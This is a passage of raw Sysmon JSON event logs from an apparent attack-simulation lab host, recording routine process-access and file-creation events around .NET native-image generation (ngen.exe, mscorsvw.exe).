ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:51.744","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-001095230C00}","TargetProcessId":"4844","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:51.822\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-00101E270C00}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:51.822","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-00101E270C00}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:51.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-00101E270C00}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:51.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-00101E270C00}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:51.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AF-5F2D-0000-00101E270C00}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:51.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AF-5F2D-0000-00101E270C00}","TargetProcessId":"3764","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:52.104\r\nProcessGuid: {90617006-42AF-5F2D-0000-00101E270C00}\r\nProcessId: 3764\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb4-0\\Microsoft.Transactions.Bridge.Dtc.dll\r\nCreationUtcTime: 2020-08-07 12:01:52.104","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:52.104","ProcessGuid":"{90617006-42AF-5F2D-0000-00101E270C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eb4-0\\Microsoft.Transactions.Bridge.Dtc.dll","CreationUtcTime":"2020-08-07 12:01:52.104","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.182\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010B22D0C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.182","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010B22D0C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7153,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.182\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010B22D0C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.182","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010B22D0C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7154,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010B22D0C00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010B22D0C00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7155,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.401\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010F7310C00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.401","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010F7310C00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe